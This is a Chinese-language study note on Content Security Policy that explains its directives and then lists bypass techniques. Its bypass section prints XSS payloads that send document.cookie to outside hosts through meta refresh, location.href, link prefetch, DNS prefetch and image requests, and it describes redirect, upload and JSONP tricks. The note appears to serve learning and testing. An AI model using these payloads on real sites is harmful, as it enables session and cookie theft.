CSP内容安全策略及绕过思路

CSP策略

CSP指的是内容安全策略,作用是防xss攻击,CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。可以在HTTP header上使用,也可以以在html meta标签上使用


推荐文章

前端防御的开始: 从基本的防御xss思路开始,讲到csp防御策略及bypass思路,逻辑比较清晰,一步一步升级

CSP学习笔记(持续学习更新) 有一些ctf案例

我是如何绕过Uber的CSP防御成功XSS的? 实战


一个CSP头由多组CSP策略组成,中间由分号分隔,就像这样:

1
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'

一、常用的策略指令:

default-src 指令定义了那些没有被更精确指令指定的安全策略。
child-src 指定定义了 web workers 以及嵌套的浏览上下文(如<frame>和<iframe>)的源。
connect-src 定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源。
font-src 定义了字体加载的有效来源
img-src 定义了页面中图片和图标的有效来源
media-src
object-src
script-src 定义了页面中Javascript的有效来源
style-src 定义了页面中CSS样式的有效来源
sandbox 沙盒模式,会阻止弹窗js的执行

二、内容源:

内容源有三种:源列表、关键字和数据

1、源列表

1
2
3
4
5
6
源列表是一个字符串,指定了一个或多个互联网主机(通过主机名或 IP 地址),和可选的或端口号。站点地址可以包含可选的通配符前缀 (星号, '*'),端口号也可以使用通配符 (同样是 '*') 来表明所有合法端口都是有效来源。主机通过空格分隔。
有效的主机表达式包括:
http://*.foo.com (匹配所有使用 http协议加载 foo.com 任何子域名的尝试。)
mail.foo.com:443 (匹配所有访问 mail.foo.com 的 443 端口 的尝试。)
https://store.foo.com (匹配所有使用 https协议访问 store.foo.com 的尝试。)
如果端口号没有被指定,浏览器会使用指定协议的默认端口号。如果协议没有被指定,浏览器会使用访问该文档时的协议。

2、关键字

1
2
3
4
5
6
‘none’
代表空集;即不匹配任何 URL。两侧单引号是必须的。
‘self’
代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。
‘unsafe-inline’
允许使用内联资源

3、数据

1
2
3
4
data:
允许data: URI作为内容来源。
mediastream:
允许mediastream: URI作为内容来源。

image

1
2
例:
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

4、配置示例

1
2
3
default-src 'self';   //只允许同源下的资源
script-src 'self' www.google-analytics.com ajax.googleapis.com; //允许同源以及两个地址下的js加载
default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self';//多个资源时,后面的会覆盖前面的

三、CSP绕过方式

1、default-src ‘none’ ———-> url跳转

在default-src ‘none’的情况下,可以使用meta标签实现跳转

1
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

2、script-src ‘self’ ‘unsafe-inline’ ———-> 内联脚本

在允许unsafe-inline的情况下,意味着可以执行脚本,但是要跨过可信域的限制,可以有以下几种方法:

  • 1、可以用window.location,或者window.open之类的方法进行跳转绕过。

    1
    2
    3
    <script>location.href=http://lorexxar.cn?a+document.cookie</script>
    <script>windows.open(http://lorexxar.cn?a=+document.cooke)</script>
    <meta http-equiv="refresh" content="5;http://lorexxar.cn?c=[cookie]">

    原因其实也很简单,大部分的网站跳转都还是要依赖前端进行的,所以无法对location.href做出限制
    因此还可以衍生出非常多的绕过方式
    比如动态创建元素,再引发页面跳转

    1
    2
    3
    var a=document.createElement("a");
    a.href='http://www.xss.com/?c='+escape(document.cookie);
    a.click();
  • 2、 js生成link prefetch(chrome)

    1
    2
    3
    4
    var n0t = document.createElement("link");
    n0t.setAttribute("rel", "prefetch");
    n0t.setAttribute("href", "//ssssss.com/?" + document.cookie);
    document.head.appendChild(n0t);

3、script-src ‘nonce-{random-str}’

有些网站限制只有某些脚本才能使用,往往会使用\<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:

1
2
3
4
5
6
7
8
9
10
Content-Security-Policy: default-src 'none';script-src 'nonce-{random-str}'

nonce属性(Number used once)
nonce的意思是仅一次有效的随机字符串,要求每次请求时,该参数要保证不同,其目的是防止重放攻击

nonce值的例子如下,服务器发送网页的时候,告诉浏览器一个随机生成的token。
Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'

页面内嵌脚本,必须有这个token才能执行。
<script nonce=EDNnf03nceIOfn39fn3e9h3sdfa> // some code </script>

针对这种设置,一种思路是通过浏览器缓存来bypass https://lorexxar.cn/2017/05/16/nonce-bypass-script/

另外一种针对script的最普通最常见的CSP规则,只允许加载当前域的js。

1
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

站内总会有上传图片的地方,如果我们上传一个内容为js的图片,图片就在网站的当前域下了。直接加载上传的js

4、script-src http://127.0.0.1/a/ ————-> 摆脱目录限制

很明显的,如果我们的script-src设置为某个目录,通过这个目录下的302跳转,是可以绕过csp读取到另一个目录下的脚本的。

在我的例子是这样设置的

1
Content-Security-Policy: default-src 'self';script-src http://127.0.0.1/a/ ;

csp限制了/a/目录,而我们的目标脚本在/b/目录下则如果这时候请求redirect页面去访问/b/下的脚本
是可以通过csp的检查的,比如

1
<script src="http://127.0.0.1/a/redirect.php?url=/b/2" ></script>

但是就如官网中描述的,加载的资源所在的域必须和自身处于同域下(example.com)也就是不可能通过302跳转去加载一个其他域下的脚本的。

比如通过a.com的302跳转去加载b.com下的脚本所以这种方法仍然有一定的局限性,但是对于那些限制死了只能加载某个目录下的js的情况
仍然有比较好的绕过效果

ps:http://bobao.360.cn/learning/detail/3245.html

5、标签漏洞

CSP除了阻止不可信js的解析以外,还有一个功能是组织向不可信域的请求。
在该CSP规则下(script-src ‘self’),如果我们尝试加载外域的图片,就会被阻止。在CSP1.0中,对于link的限制并不完整,不同浏览器包括chrome和firefox对CSP的支持都不完整

CSP对link标签的预加载功能考虑不完善。
在Chrome下,可以使用如下标签发送cookie

1
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]"> (H5预加载)

在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie

1
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">(DNS预加载)

6、标签漏洞

由于大部分网站需要用到图片外链,因此其img-src往往设置为img-src *

1
2
3
var i=document.createElement("img");
i.src='http://www.xss.com/?c='+escape(document.cookie);
xxx.appendChild(i);

这样就轻而易举的把cookie传输出去了。

7、构造既定标签解析字符串

如下面js:

1
2
3
// <input id="cmd" value="alert,safe string">
var array = document.getElementById('cmd').value.split(',');
window[array[0]].apply(this, array.slice(1));

从既定的标签中解析字符串当作js执行。

8、CSP克星—jsonp

Jsonp(JSON with Padding) 是 json 的一种”使用模式”,可以让网页从别的域名(网站)那获取资料,即跨域读取数据。

jsonp原理详解

关于json及jsonp攻击内容比较多,再另行更新笔记。

0、注意点

script-src和object-src是必设的,除非设置了default-src。
因为攻击者只要能注入脚本,其他限制都可以规避。而object-src必设是因为 Flash 里面可以执行外部脚本。

script-src不能使用unsafe-inline关键字(除非伴随一个nonce值),也不能允许设置data:URL。

工具

CSP-Bypass – BurpSuite CSP绕过检测插件
https://github.com/moloch–/CSP-Bypass